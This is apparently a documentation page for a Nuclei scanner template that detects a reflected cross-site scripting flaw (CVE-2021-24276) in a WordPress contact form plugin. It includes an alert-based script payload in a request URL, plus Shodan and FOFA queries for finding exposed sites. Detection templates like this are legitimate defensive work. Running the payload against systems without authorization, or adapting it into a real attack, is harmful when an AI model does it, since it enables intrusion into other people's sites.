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WordPress Supsystic Contact Form <1.7.15 - Cross-Site Scripting

ID: CVE-2021-24276

Severity: medium

Author: dhiyaneshDK

Tags: cve2021,cve,wordpress,wp-plugin,wpscan,packetstorm,supsystic

Description

Section titled “Description”

WordPress Supsystic Contact Form plugin before 1.7.15 contains a cross-site scripting vulnerability. It does not sanitize the tab parameter of its options page before outputting it in an attribute.

YAML Source

Section titled “YAML Source”
id: CVE-2021-24276


info:
  name: WordPress Supsystic Contact Form <1.7.15 - Cross-Site Scripting
  author: dhiyaneshDK
  severity: medium
  description: WordPress Supsystic Contact Form plugin before 1.7.15 contains a cross-site scripting vulnerability. It does not sanitize the tab parameter of its options page before outputting it in an attribute.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the victim's browser, leading to potential session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the WordPress Supsystic Contact Form plugin (1.7.15 or higher) to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/1301123c-5e63-432a-ab90-3221ca532d9c
    - http://packetstormsecurity.com/files/164308/WordPress-Contact-Form-1.7.14-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24276
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24276
    cwe-id: CWE-79
    epss-score: 0.00231
    epss-percentile: 0.61154
    cpe: cpe:2.3:a:supsystic:contact_form:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: supsystic
    product: contact_form
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/contact-form-plugin/
    fofa-query: body=/wp-content/plugins/contact-form-plugin/
    publicwww-query: /wp-content/plugins/contact-form-plugin/
  tags: cve2021,cve,wordpress,wp-plugin,wpscan,packetstorm,supsystic


http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin.php?page=contact-form-supsystic&tab=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'


      - type: word
        part: header
        words:
          - "text/html"


      - type: status
        status:
          - 200
# digest: 4a0a0047304502200c02fa9b752d07706481afaf4d0ef8e5c0a7b2ebc834bb9a911a245b3349021902210090a0c1e75a9d32d34d0fe3d583b8af02c6d2317b1a1e4fe525a98cfc7865433b:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-24276.yaml"

View on Github